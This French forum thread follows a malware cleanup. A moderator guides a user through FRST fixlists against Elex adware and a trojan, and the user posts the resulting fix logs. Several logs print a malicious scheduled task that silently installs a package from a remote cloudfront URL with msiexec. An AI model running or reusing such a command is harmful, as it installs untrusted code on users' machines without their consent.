Virus bien récalcitrant *.tmp.exe alias VT.AdWare.Elex

Résolu
Bonjour,

C’est la première fois que je suis obligé de vous faire une demande d’aide…

Ma copine m’a appelé à l’aide car des icônes étais apparus sur son bureau sans quelle installe de nouveaux jeux ce jour-là.

La plus par du temps je passe adwcleaner et RogueKiller et j’installe malwarebytes et cela sufi…

Et là Windows me retourne une interdiction de lancer adwcleaner et malwarebytes (qui étais déjà installer).

Après plusieurs passages en mode sans échec ou RogueKiller et adwcleaner veule bien passer j’ai constaté qu’ils persistaient deux virus VT.Adware.Elex et VT.Trojan.W64.Eroyee.aigu

Merci de votre aide

13 réponses

  1. Modérateur
    Salut,

    Le problème d'icône n'a probablement rien à voir avec des infections.

    Pour vérifier :

    Suis le tutoriel FRST. ( prends le temps de lire attentivement - tout y est bien expliqué ).

    Télécharge et lance le scan FRST, 3 rapports FRST seront générés :
    • FRST.txt
    • Shortcut.txt
    • Additionnal.txt


    Envoie ces 3 rapports sur le site http://pjjoint.malekal.com/ et en retour donne les 3 liens pjjoint qui mènent aux rapports ici dans une nouvelle réponse afin que l'on puisse les consulter.

    1. Modérateur
      ha si infecté,

      Voici la correction à effectuer avec FRST. Tu peux t'aider de cette note explicative avec des captures d'écran.

      Ouvre le bloc-notes : Touche Windows + R,
      Dans le champs "Exécuter", saisir notepad et OK.
      Copie/Colle dedans ce qui suit :

      CreateRestorePoint:
      CloseProcesses:
      HKU\S-1-5-21-2452614800-3455195969-3210789232-1002\...\Run: [background_fault] => C:\Users\Rena Karena_2\AppData\Local\background_fault\aswRD.exe [1419576 2017-04-06] (AVAST Software) <===== ATTENTION
      IFEO\GoogleUpdate.exe: [Debugger] 324095823984.exe
      IFEO\GoogleUpdaterService.exe: [Debugger] 8736459873644.exe
      S4 WinSAPSvc; C:\Users\Rena Karena_2\AppData\Roaming\WinSAPSvc\WinSAP.dll [1887232 2017-05-25] (TODO: <公司名>) [Fichier non signé] <==== ATTENTION
      S2 Niciwardterjek; C:\Program Files (x86)\Kesertherstemosy\bgseng.dll [X]
      S4 BIT; C:\ProgramData\BIT\BIT.dll [1811968 2017-05-25] (TODO: <公司名>) [Fichier non signé] <==== ATTENTION
      S4 DsSvc; C:\ProgramData\Package Cache\{00C5024D-925C-4E9E-A8E6-F9B84ABE0DA0}\packages\Win81_SDK\9bcb3fab78e80d68be28892ea7ad46c3.msp:dp [212994 ] () [Fichier non signé] <==== ATTENTION
      2017-05-25 11:13 - 2017-05-25 11:13 - 00000000 ____D C:\Users\Rena Karena_2\AppData\Local\Firefox
      2017-05-25 11:12 - 2017-05-25 11:12 - 00000000 ____D C:\Users\Rena Karena_2\AppData\Roaming\Firefox
      2017-05-25 11:11 - 2017-05-25 11:11 - 00000000 ____D C:\Users\Rena Karena_2\AppData\Local\Hippig
      2017-05-25 11:10 - 2017-05-25 11:10 - 00000000 ____D C:\Users\Public\Documents\Google
      2017-05-25 11:09 - 2017-05-25 11:09 - 00000000 ____D C:\Program Files (x86)\Hippig
      2017-05-25 11:08 - 2017-05-25 13:56 - 00000000 ____D C:\Users\Rena Karena_2\AppData\Local\background_fault
      2017-05-25 11:08 - 2017-05-25 11:11 - 00000000 ____D C:\Program Files (x86)\Firefox
      2017-05-25 11:07 - 2017-05-25 13:57 - 00000000 _____ C:\Users\Public\Documents\report.dat
      2017-05-25 11:07 - 2017-05-25 11:36 - 00000023 _____ C:\Users\Public\Documents\temp.dat
      2017-05-25 11:04 - 2017-05-25 11:07 - 00000000 ____D C:\Users\Rena Karena_2\AppData\Local\snare
      2017-05-25 11:04 - 2017-05-25 11:04 - 00003620 _____ C:\Windows\System32\Tasks\Milimili
      2017-05-25 11:04 - 2017-05-25 11:04 - 00000000 ____D C:\Users\Rena Karena_2\AppData\Roaming\WinSAPSvc
      2017-05-25 11:04 - 2017-05-25 11:04 - 00000000 ____D C:\ProgramData\BIT
      2017-05-23 00:14 - 2017-05-23 00:14 - 00000000 _____ C:\Windows\SysWOW64\1
      2017-05-22 09:33 - 2017-05-22 09:33 - 00000000 ____D C:\Program Files (x86)\MIO
      2017-05-22 09:30 - 2017-05-22 09:30 - 00000000 ____D C:\Program Files (x86)\qx551bb0
      2017-05-21 15:01 - 2017-05-21 15:02 - 00000132 _____ C:\ProgramData\log.binb
      2017-05-21 14:48 - 2017-05-25 11:46 - 00002966 _____ C:\Windows\System32\Tasks\{9416F41C-CF8B-4463-89AD-5C27EA9E8713}
      2017-05-21 12:30 - 2017-05-21 14:07 - 00249618 _____ C:\Users\Rena Karena_2\AppData\Local\census.cache
      2017-05-21 12:30 - 2017-05-21 13:30 - 00094527 _____ C:\Users\Rena Karena_2\AppData\Local\ars.cache
      2017-05-21 12:02 - 2017-05-21 13:14 - 02405672 _____ (Trend Micro Inc.) C:\Users\Rena Karena_2\Downloads\HousecallLauncher64.exe
      2017-05-21 12:02 - 2017-05-21 12:02 - 00000036 _____ C:\Users\Rena Karena_2\AppData\Local\housecall.guid.cache
      2017-05-21 09:43 - 2017-05-21 09:46 - 00000000 ____D C:\Users\Rena Karena_2\AppData\Local\navitool
      2017-05-20 15:32 - 2017-05-20 15:39 - 00000000 ____D C:\Users\Rena Karena_2\AppData\Roaming\Showuk
      2017-05-20 15:32 - 2017-05-20 15:32 - 00000000 ____D C:\Program Files (x86)\Arujogh Cloud
      2017-05-20 15:31 - 2017-05-25 14:03 - 00016744 _____ C:\Windows\System32\Tasks\BMC Barcode Generator
      2017-05-20 15:31 - 2017-05-20 15:31 - 00000000 ____D C:\Windows\system32\sstmp
      2017-05-20 15:30 - 2017-05-25 11:02 - 00000000 ____D C:\Program Files (x86)\Solescoohut
      2017-05-20 15:30 - 2017-05-21 15:01 - 00002526 _____ C:\ProgramData\log.ewbt
      2017-05-20 15:30 - 2017-05-21 15:01 - 00000128 _____ C:\ProgramData\log.ewbb
      2017-05-20 15:30 - 2017-05-21 09:36 - 00000000 ____D C:\Users\Rena Karena_2\AppData\Roaming\Starech
      2017-05-20 15:30 - 2017-05-20 15:32 - 00000000 ____D C:\Users\Rena Karena_2\AppData\Local\Gerckfisosh
      2017-05-20 15:30 - 2017-05-20 15:30 - 00005998 _____ C:\Windows\System32\Tasks\Womuck Monitor
      2017-05-20 15:30 - 2017-05-20 15:30 - 00000000 ____D C:\Users\Rena Karena_2\AppData\Local\CrashRpt
      2017-05-20 15:30 - 2017-05-20 15:30 - 00000000 ____D C:\Program Files (x86)\Womuck Monitor
      2017-05-20 15:09 - 2017-05-20 15:22 - 00000000 ____D C:\Users\Rena Karena_2\Documents\Anno 1404
      2017-05-20 12:32 - 2017-05-25 11:46 - 00003322 _____ C:\Windows\System32\Tasks\{3A4F71C1-6523-4816-A029-1AC99C831258}
      2017-05-19 20:19 - 2017-05-25 11:46 - 00003296 _____ C:\Windows\System32\Tasks\{F9D191B2-6123-4EA4-8332-B9106FAF89DA}
      2017-05-19 19:12 - 2017-05-25 11:46 - 00003318 _____ C:\Windows\System32\Tasks\{878E4CFF-F016-49A8-9E93-BE64608CBF63}
      2017-05-19 17:53 - 2017-05-19 17:57 - 00000000 ____D C:\Program Files\Sid Meiers Civilization Beyond Earth
      2017-05-19 15:54 - 2017-05-19 15:54 - 00000000 ____D C:\Users\Rena Karena_2\AppData\LocalLow\Sushee
      2017-05-19 15:36 - 2017-05-19 15:37 - 00000000 ____D C:\Users\Rena Karena_2\AppData\LocalLow\CampoSanto
      2017-05-19 15:16 - 2017-05-19 15:16 - 00051623 _____ C:\Windows\uninstaller.dat
      Task: {1EDF114B-F020-40E4-A36E-39AE8EA19EC4} - System32\Tasks\Milimili => C:\Program Files (x86)\MIO\MIO.exe [2017-05-25] () <==== ATTENTION
      ask: {95339A33-8CA2-4755-A69D-E9BED81F09EF} - System32\Tasks\Microsoft\Windows\DeviceSettings\Grihish => msiexec.exe /i hxxp://D2bUH1bF1g584W.clOuDfroNt.net/mmtsk/occup.php?p=HitachiXHDS721050CLA362_JPB570HC0UU3UH0UU3UHX&d=20170520 /q <==== ATTENTION
      Shortcut: C:\Users\Rena Karena_2\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk -> C:\Program Files (x86)\Hippig\Application\chrome.exe (Google Inc.)
      Shortcut: C:\Users\Rena Karena_2\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk -> C:\Program Files (x86)\Hippig\Application\chrome.exe (Google Inc.)
      Shortcut: C:\Users\Rena Karena_2\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu\Google Chrome.lnk -> C:\Program Files (x86)\Hippig\Application\chrome.exe (Google Inc.)
      Shortcut: C:\Users\Rena Karena_2\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\360c22b137d62ce9\Google Chrome.lnk -> C:\Program Files (x86)\Hippig\Application\chrome.exe (Google Inc.)
      Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk -> C:\Program Files (x86)\Hippig\Application\chrome.exe (Google Inc.)
      Shortcut: C:\Users\Public\Desktop\Google Chrome.lnk -> C:\Program Files (x86)\Hippig\Application\chrome.exe (Google Inc.)
      C:\Program Files (x86)\Hippig
      Hosts:
      EmptyTemp:
      RemoveProxy:
      Reboot:


      Une fois, le texte collé dans le Bloc-notes,
      Menu "Fichier" puis "Enregistrer sous",
      A gauche, place toi sur le Bureau,
      Dans le champs en bas, nom du fichier mets : fixlist.txt
      Clique sur "Enregistrer", cela va créer fixlist.txt sur le Bureau.

      Relance FRST et clique sur le bouton "Corriger / Fix"
      Un redémarrage sera peut-être nécessaire ( pas obligatoire )
      Un fichier texte apparaît, copie/colle le contenu ici dans un nouveau message.

      Redémarre l'ordinateur.

      2°)
      Réinitialise/Répare les navigateurs WEB concernés par les problèmes :

      3°)
      Termine par un nettoyage Malwarebytes - Tutoriel Malwarebytes Anti-Malware version gratuite

      4°)
      Vois ce que cela donne et si des améliorations ont eu lieu.
      Si ce n'est pas le cas, s itu as encore des pages de pubs intempestives, précise sur quel navigateur WEB.
      Refais un scan FRST et donne les nouveaux rapports via pjjoint.

      1. voila le Fixlog :

        Résultats de correction de Farbar Recovery Scan Tool (x64) Version: 24-05-2017
        Exécuté par Rena Karena_2 (25-05-2017 14:31:18) Run:1
        Exécuté depuis C:\Users\Rena Karena_2\Desktop
        Profils chargés: Rena Karena_2 (Profils disponibles: Rena Karena_2)
        Mode d'amorçage: Normal
        ==============================================

        fixlist contenu:
        CreateRestorePoint:
        CloseProcesses:
        HKU\S-1-5-21-2452614800-3455195969-3210789232-1002\...\Run: [background_fault] => C:\Users\Rena Karena_2\AppData\Local\background_fault\aswRD.exe [1419576 2017-04-06] (AVAST Software) <===== ATTENTION
        IFEO\GoogleUpdate.exe: [Debugger] 324095823984.exe
        IFEO\GoogleUpdaterService.exe: [Debugger] 8736459873644.exe
        S4 WinSAPSvc; C:\Users\Rena Karena_2\AppData\Roaming\WinSAPSvc\WinSAP.dll [1887232 2017-05-25] (TODO: <公司名>) [Fichier non signé] <==== ATTENTION
        S2 Niciwardterjek; C:\Program Files (x86)\Kesertherstemosy\bgseng.dll [X]
        S4 BIT; C:\ProgramData\BIT\BIT.dll [1811968 2017-05-25] (TODO: <公司名>) [Fichier non signé] <==== ATTENTION
        S4 DsSvc; C:\ProgramData\Package Cache\{00C5024D-925C-4E9E-A8E6-F9B84ABE0DA0}\packages\Win81_SDK\9bcb3fab78e80d68be28892ea7ad46c3.msp:dp [212994 ] () [Fichier non signé] <==== ATTENTION
        2017-05-25 11:13 - 2017-05-25 11:13 - 00000000 ____D C:\Users\Rena Karena_2\AppData\Local\Firefox
        2017-05-25 11:12 - 2017-05-25 11:12 - 00000000 ____D C:\Users\Rena Karena_2\AppData\Roaming\Firefox
        2017-05-25 11:11 - 2017-05-25 11:11 - 00000000 ____D C:\Users\Rena Karena_2\AppData\Local\Hippig
        2017-05-25 11:10 - 2017-05-25 11:10 - 00000000 ____D C:\Users\Public\Documents\Google
        2017-05-25 11:09 - 2017-05-25 11:09 - 00000000 ____D C:\Program Files (x86)\Hippig
        2017-05-25 11:08 - 2017-05-25 13:56 - 00000000 ____D C:\Users\Rena Karena_2\AppData\Local\background_fault
        2017-05-25 11:08 - 2017-05-25 11:11 - 00000000 ____D C:\Program Files (x86)\Firefox
        2017-05-25 11:07 - 2017-05-25 13:57 - 00000000 _____ C:\Users\Public\Documents\report.dat
        2017-05-25 11:07 - 2017-05-25 11:36 - 00000023 _____ C:\Users\Public\Documents\temp.dat
        2017-05-25 11:04 - 2017-05-25 11:07 - 00000000 ____D C:\Users\Rena Karena_2\AppData\Local\snare
        2017-05-25 11:04 - 2017-05-25 11:04 - 00003620 _____ C:\Windows\System32\Tasks\Milimili
        2017-05-25 11:04 - 2017-05-25 11:04 - 00000000 ____D C:\Users\Rena Karena_2\AppData\Roaming\WinSAPSvc
        2017-05-25 11:04 - 2017-05-25 11:04 - 00000000 ____D C:\ProgramData\BIT
        2017-05-23 00:14 - 2017-05-23 00:14 - 00000000 _____ C:\Windows\SysWOW64\1
        2017-05-22 09:33 - 2017-05-22 09:33 - 00000000 ____D C:\Program Files (x86)\MIO
        2017-05-22 09:30 - 2017-05-22 09:30 - 00000000 ____D C:\Program Files (x86)\qx551bb0
        2017-05-21 15:01 - 2017-05-21 15:02 - 00000132 _____ C:\ProgramData\log.binb
        2017-05-21 14:48 - 2017-05-25 11:46 - 00002966 _____ C:\Windows\System32\Tasks\{9416F41C-CF8B-4463-89AD-5C27EA9E8713}
        2017-05-21 12:30 - 2017-05-21 14:07 - 00249618 _____ C:\Users\Rena Karena_2\AppData\Local\census.cache
        2017-05-21 12:30 - 2017-05-21 13:30 - 00094527 _____ C:\Users\Rena Karena_2\AppData\Local\ars.cache
        2017-05-21 12:02 - 2017-05-21 13:14 - 02405672 _____ (Trend Micro Inc.) C:\Users\Rena Karena_2\Downloads\HousecallLauncher64.exe
        2017-05-21 12:02 - 2017-05-21 12:02 - 00000036 _____ C:\Users\Rena Karena_2\AppData\Local\housecall.guid.cache
        2017-05-21 09:43 - 2017-05-21 09:46 - 00000000 ____D C:\Users\Rena Karena_2\AppData\Local\navitool
        2017-05-20 15:32 - 2017-05-20 15:39 - 00000000 ____D C:\Users\Rena Karena_2\AppData\Roaming\Showuk
        2017-05-20 15:32 - 2017-05-20 15:32 - 00000000 ____D C:\Program Files (x86)\Arujogh Cloud
        2017-05-20 15:31 - 2017-05-25 14:03 - 00016744 _____ C:\Windows\System32\Tasks\BMC Barcode Generator
        2017-05-20 15:31 - 2017-05-20 15:31 - 00000000 ____D C:\Windows\system32\sstmp
        2017-05-20 15:30 - 2017-05-25 11:02 - 00000000 ____D C:\Program Files (x86)\Solescoohut
        2017-05-20 15:30 - 2017-05-21 15:01 - 00002526 _____ C:\ProgramData\log.ewbt
        2017-05-20 15:30 - 2017-05-21 15:01 - 00000128 _____ C:\ProgramData\log.ewbb
        2017-05-20 15:30 - 2017-05-21 09:36 - 00000000 ____D C:\Users\Rena Karena_2\AppData\Roaming\Starech
        2017-05-20 15:30 - 2017-05-20 15:32 - 00000000 ____D C:\Users\Rena Karena_2\AppData\Local\Gerckfisosh
        2017-05-20 15:30 - 2017-05-20 15:30 - 00005998 _____ C:\Windows\System32\Tasks\Womuck Monitor
        2017-05-20 15:30 - 2017-05-20 15:30 - 00000000 ____D C:\Users\Rena Karena_2\AppData\Local\CrashRpt
        2017-05-20 15:30 - 2017-05-20 15:30 - 00000000 ____D C:\Program Files (x86)\Womuck Monitor
        2017-05-20 15:09 - 2017-05-20 15:22 - 00000000 ____D C:\Users\Rena Karena_2\Documents\Anno 1404
        2017-05-20 12:32 - 2017-05-25 11:46 - 00003322 _____ C:\Windows\System32\Tasks\{3A4F71C1-6523-4816-A029-1AC99C831258}
        2017-05-19 20:19 - 2017-05-25 11:46 - 00003296 _____ C:\Windows\System32\Tasks\{F9D191B2-6123-4EA4-8332-B9106FAF89DA}
        2017-05-19 19:12 - 2017-05-25 11:46 - 00003318 _____ C:\Windows\System32\Tasks\{878E4CFF-F016-49A8-9E93-BE64608CBF63}
        2017-05-19 17:53 - 2017-05-19 17:57 - 00000000 ____D C:\Program Files\Sid Meiers Civilization Beyond Earth
        2017-05-19 15:54 - 2017-05-19 15:54 - 00000000 ____D C:\Users\Rena Karena_2\AppData\LocalLow\Sushee
        2017-05-19 15:36 - 2017-05-19 15:37 - 00000000 ____D C:\Users\Rena Karena_2\AppData\LocalLow\CampoSanto
        2017-05-19 15:16 - 2017-05-19 15:16 - 00051623 _____ C:\Windows\uninstaller.dat
        Task: {1EDF114B-F020-40E4-A36E-39AE8EA19EC4} - System32\Tasks\Milimili => C:\Program Files (x86)\MIO\MIO.exe [2017-05-25] () <==== ATTENTION
        ask: {95339A33-8CA2-4755-A69D-E9BED81F09EF} - System32\Tasks\Microsoft\Windows\DeviceSettings\Grihish => msiexec.exe /i hxxp://D2bUH1bF1g584W.clOuDfroNt.net/mmtsk/occup.php?p=HitachiXHDS721050CLA362_JPB570HC0UU3UH0UU3UHX&d=20170520 /q <==== ATTENTION
        Shortcut: C:\Users\Rena Karena_2\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk -> C:\Program Files (x86)\Hippig\Application\chrome.exe (Google Inc.)
        Shortcut: C:\Users\Rena Karena_2\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk -> C:\Program Files (x86)\Hippig\Application\chrome.exe (Google Inc.)
        Shortcut: C:\Users\Rena Karena_2\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu\Google Chrome.lnk -> C:\Program Files (x86)\Hippig\Application\chrome.exe (Google Inc.)
        Shortcut: C:\Users\Rena Karena_2\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\360c22b137d62ce9\Google Chrome.lnk -> C:\Program Files (x86)\Hippig\Application\chrome.exe (Google Inc.)
        Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk -> C:\Program Files (x86)\Hippig\Application\chrome.exe (Google Inc.)
        Shortcut: C:\Users\Public\Desktop\Google Chrome.lnk -> C:\Program Files (x86)\Hippig\Application\chrome.exe (Google Inc.)
        C:\Program Files (x86)\Hippig
        Hosts:
        EmptyTemp:
        RemoveProxy:
        Reboot:

        Le Point de restauration a été créé avec succès.
        Processus fermé avec succès.
        HKU\S-1-5-21-2452614800-3455195969-3210789232-1002\Software\Microsoft\Windows\CurrentVersion\Run\\background_fault => valeur supprimé(es) avec succès
        HKLM\Software\microsoft\windows nt\currentversion\Image File Execution Options\GoogleUpdate.exe => clé supprimé(es) avec succès
        HKLM\Software\microsoft\windows nt\currentversion\Image File Execution Options\GoogleUpdaterService.exe => clé supprimé(es) avec succès
        HKLM\System\CurrentControlSet\Services\WinSAPSvc => clé supprimé(es) avec succès
        WinSAPSvc => service supprimé(es) avec succès
        HKLM\System\CurrentControlSet\Services\Niciwardterjek => clé supprimé(es) avec succès
        Niciwardterjek => service supprimé(es) avec succès
        HKLM\System\CurrentControlSet\Services\BIT => clé supprimé(es) avec succès
        BIT => service supprimé(es) avec succès
        HKLM\System\CurrentControlSet\Services\DsSvc => clé supprimé(es) avec succès
        DsSvc => service supprimé(es) avec succès
        C:\Users\Rena Karena_2\AppData\Local\Firefox => déplacé(es) avec succès
        C:\Users\Rena Karena_2\AppData\Roaming\Firefox => déplacé(es) avec succès
        C:\Users\Rena Karena_2\AppData\Local\Hippig => déplacé(es) avec succès
        C:\Users\Public\Documents\Google => déplacé(es) avec succès
        C:\Program Files (x86)\Hippig => déplacé(es) avec succès
        C:\Users\Rena Karena_2\AppData\Local\background_fault => déplacé(es) avec succès
        C:\Program Files (x86)\Firefox => déplacé(es) avec succès
        C:\Users\Public\Documents\report.dat => déplacé(es) avec succès
        C:\Users\Public\Documents\temp.dat => déplacé(es) avec succès
        C:\Users\Rena Karena_2\AppData\Local\snare => déplacé(es) avec succès
        C:\Windows\System32\Tasks\Milimili => déplacé(es) avec succès
        C:\Users\Rena Karena_2\AppData\Roaming\WinSAPSvc => déplacé(es) avec succès
        C:\ProgramData\BIT => déplacé(es) avec succès
        C:\Windows\SysWOW64\1 => déplacé(es) avec succès
        C:\Program Files (x86)\MIO => déplacé(es) avec succès
        C:\Program Files (x86)\qx551bb0 => déplacé(es) avec succès
        C:\ProgramData\log.binb => déplacé(es) avec succès
        C:\Windows\System32\Tasks\{9416F41C-CF8B-4463-89AD-5C27EA9E8713} => déplacé(es) avec succès
        C:\Users\Rena Karena_2\AppData\Local\census.cache => déplacé(es) avec succès
        C:\Users\Rena Karena_2\AppData\Local\ars.cache => déplacé(es) avec succès
        C:\Users\Rena Karena_2\Downloads\HousecallLauncher64.exe => déplacé(es) avec succès
        C:\Users\Rena Karena_2\AppData\Local\housecall.guid.cache => déplacé(es) avec succès
        C:\Users\Rena Karena_2\AppData\Local\navitool => déplacé(es) avec succès
        C:\Users\Rena Karena_2\AppData\Roaming\Showuk => déplacé(es) avec succès
        C:\Program Files (x86)\Arujogh Cloud => déplacé(es) avec succès
        C:\Windows\System32\Tasks\BMC Barcode Generator => déplacé(es) avec succès
        C:\Windows\system32\sstmp => déplacé(es) avec succès
        C:\Program Files (x86)\Solescoohut => déplacé(es) avec succès
        C:\ProgramData\log.ewbt => déplacé(es) avec succès
        C:\ProgramData\log.ewbb => déplacé(es) avec succès
        C:\Users\Rena Karena_2\AppData\Roaming\Starech => déplacé(es) avec succès
        C:\Users\Rena Karena_2\AppData\Local\Gerckfisosh => déplacé(es) avec succès
        C:\Windows\System32\Tasks\Womuck Monitor => déplacé(es) avec succès
        C:\Users\Rena Karena_2\AppData\Local\CrashRpt => déplacé(es) avec succès
        C:\Program Files (x86)\Womuck Monitor => déplacé(es) avec succès
        C:\Users\Rena Karena_2\Documents\Anno 1404 => déplacé(es) avec succès
        C:\Windows\System32\Tasks\{3A4F71C1-6523-4816-A029-1AC99C831258} => déplacé(es) avec succès
        C:\Windows\System32\Tasks\{F9D191B2-6123-4EA4-8332-B9106FAF89DA} => déplacé(es) avec succès
        C:\Windows\System32\Tasks\{878E4CFF-F016-49A8-9E93-BE64608CBF63} => déplacé(es) avec succès
        C:\Program Files\Sid Meiers Civilization Beyond Earth => déplacé(es) avec succès
        C:\Users\Rena Karena_2\AppData\LocalLow\Sushee => déplacé(es) avec succès
        C:\Users\Rena Karena_2\AppData\LocalLow\CampoSanto => déplacé(es) avec succès
        C:\Windows\uninstaller.dat => déplacé(es) avec succès
        HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{1EDF114B-F020-40E4-A36E-39AE8EA19EC4} => clé supprimé(es) avec succès
        HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{1EDF114B-F020-40E4-A36E-39AE8EA19EC4} => clé supprimé(es) avec succès
        C:\Windows\System32\Tasks\Milimili => non trouvé(e).
        HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Milimili => clé supprimé(es) avec succès
        ask: {95339A33-8CA2-4755-A69D-E9BED81F09EF} - System32\Tasks\Microsoft\Windows\DeviceSettings\Grihish => msiexec.exe /i hxxp://D2bUH1bF1g584W.clOuDfroNt.net/mmtsk/occup.php?p=HitachiXHDS721050CLA362_JPB570HC0UU3UH0UU3UHX&d=20170520 /q <==== ATTENTION => Erreur: Pas de correction automatique trouvée pour cet élément.
        C:\Users\Rena Karena_2\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk => déplacé(es) avec succès
        C:\Users\Rena Karena_2\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk => déplacé(es) avec succès
        C:\Users\Rena Karena_2\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu\Google Chrome.lnk => déplacé(es) avec succès
        C:\Users\Rena Karena_2\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\360c22b137d62ce9\Google Chrome.lnk => déplacé(es) avec succès
        C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk => déplacé(es) avec succès
        C:\Users\Public\Desktop\Google Chrome.lnk => déplacé(es) avec succès
        "C:\Program Files (x86)\Hippig" => non trouvé(e).
        C:\Windows\System32\Drivers\etc\hosts => déplacé(es) avec succès
        Hosts restauré(es) avec succès.

        ========= RemoveProxy: =========

        HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer => clé supprimé(es) avec succès
        HKU\S-1-5-21-2452614800-3455195969-3210789232-1002\SOFTWARE\Policies\Microsoft\Internet Explorer => clé supprimé(es) avec succès
        HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\DefaultConnectionSettings => valeur supprimé(es) avec succès
        HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\SavedLegacySettings => valeur supprimé(es) avec succès
        HKU\S-1-5-21-2452614800-3455195969-3210789232-1002\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\DefaultConnectionSettings => valeur supprimé(es) avec succès
        HKU\S-1-5-21-2452614800-3455195969-3210789232-1002\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\SavedLegacySettings => valeur supprimé(es) avec succès

        ========= Fin de RemoveProxy: =========

        =========== EmptyTemp: ==========

        BITS transfer queue => 0 B
        DOMStore, IE Recovery, AppCache, Feeds Cache, Thumbcache, IconCache => 11540885 B
        Java, Flash, Steam htmlcache => 506 B
        Windows/system/drivers => 22227246 B
        Edge => 0 B
        Chrome => 12246711 B
        Firefox => 12199009 B
        Opera => 0 B

        Temp, IE cache, history, cookies, recent:
        Users => 0 B
        Default => 33125 B
        Public => 0 B
        ProgramData => 0 B
        systemprofile32 => 119868 B
        LocalService => 66228 B
        NetworkService => 77846 B
        Rena Karena_2 => 12508743 B

        RecycleBin => 22842 B
        EmptyTemp: => 67.8 MB données temporaires supprimées.

        ================================

        Le système a dû redémarrer.

        Fin de Fixlog 14:32:50

        je fait les autre étape des que j'ai remis la carte réseau en état le pilote ne démarre plus

        merci

        Bel_Iblis
        1. Modérateur
          Oui c'est mieux :)

          Voici la correction à effectuer avec FRST. Tu peux t'aider de cette note explicative avec des captures d'écran.

          Ouvre le bloc-notes : Touche Windows + R,
          Dans le champs "Exécuter", saisir notepad et OK.
          Copie/Colle dedans ce qui suit :

          CreateRestorePoint:
          CloseProcesses:
          Task: {95339A33-8CA2-4755-A69D-E9BED81F09EF} - System32\Tasks\Microsoft\Windows\DeviceSettings\Grihish => msiexec.exe /i hxxp://D2bUH1bF1g584W.clOuDfroNt.net/mmtsk/occup.php?p=HitachiXHDS721050CLA362_JPB570HC0UU3UH0UU3UHX&d=20170520 /q <==== ATTENTION
          Task: {0CF3D7FA-6188-4B78-8C1B-A6FF83A125A1} - \{3A4F71C1-6523-4816-A029-1AC99C831258} -> Pas de fichier <==== ATTENTION
          c:\Program Files\Microsoft Security Client
          Task: {A67423B1-427F-4FF2-AA60-F8096B21AE4A} - System32\Tasks\Microsoft\Microsoft Antimalware\Microsoft Antimalware Scheduled Scan => c:\Program Files\Microsoft Security Client\\MpCmdRun.exe [2016-11-14] (Microsoft Corporation)
          Task: {A9EC5320-235C-411A-A8AF-36840860F002} - \{F9D191B2-6123-4EA4-8332-B9106FAF89DA} -> Pas de fichier <==== ATTENTION
          Hosts:
          EmptyTemp:
          RemoveProxy:
          Reboot:


          Une fois, le texte collé dans le Bloc-notes,
          Menu "Fichier" puis "Enregistrer sous",
          A gauche, place toi sur le Bureau,
          Dans le champs en bas, nom du fichier mets : fixlist.txt
          Clique sur "Enregistrer", cela va créer fixlist.txt sur le Bureau.

          Relance FRST et clique sur le bouton "Corriger / Fix"
          Un redémarrage sera peut-être nécessaire ( pas obligatoire )
          Un fichier texte apparaît, copie/colle le contenu ici dans un nouveau message.

          Redémarre l'ordinateur.

          1. voici le fixlog :

            Résultats de correction de Farbar Recovery Scan Tool (x64) Version: 24-05-2017
            Exécuté par Rena Karena_2 (26-05-2017 12:58:46) Run:2
            Exécuté depuis C:\Users\Rena Karena_2\Desktop
            Profils chargés: Rena Karena_2 (Profils disponibles: Rena Karena_2)
            Mode d'amorçage: Normal
            ==============================================

            fixlist contenu:
            CreateRestorePoint:
            CloseProcesses:
            Task: {95339A33-8CA2-4755-A69D-E9BED81F09EF} - System32\Tasks\Microsoft\Windows\DeviceSettings\Grihish => msiexec.exe /i hxxp://D2bUH1bF1g584W.clOuDfroNt.net/mmtsk/occup.php?p=HitachiXHDS721050CLA362_JPB570HC0UU3UH0UU3UHX&d=20170520 /q <==== ATTENTION
            Task: {0CF3D7FA-6188-4B78-8C1B-A6FF83A125A1} - \{3A4F71C1-6523-4816-A029-1AC99C831258} -> Pas de fichier <==== ATTENTION
            c:\Program Files\Microsoft Security Client
            Task: {A67423B1-427F-4FF2-AA60-F8096B21AE4A} - System32\Tasks\Microsoft\Microsoft Antimalware\Microsoft Antimalware Scheduled Scan => c:\Program Files\Microsoft Security Client\\MpCmdRun.exe [2016-11-14] (Microsoft Corporation)
            Task: {A9EC5320-235C-411A-A8AF-36840860F002} - \{F9D191B2-6123-4EA4-8332-B9106FAF89DA} -> Pas de fichier <==== ATTENTION
            Hosts:
            EmptyTemp:
            RemoveProxy:
            Reboot:

            Le Point de restauration a été créé avec succès.
            Processus fermé avec succès.
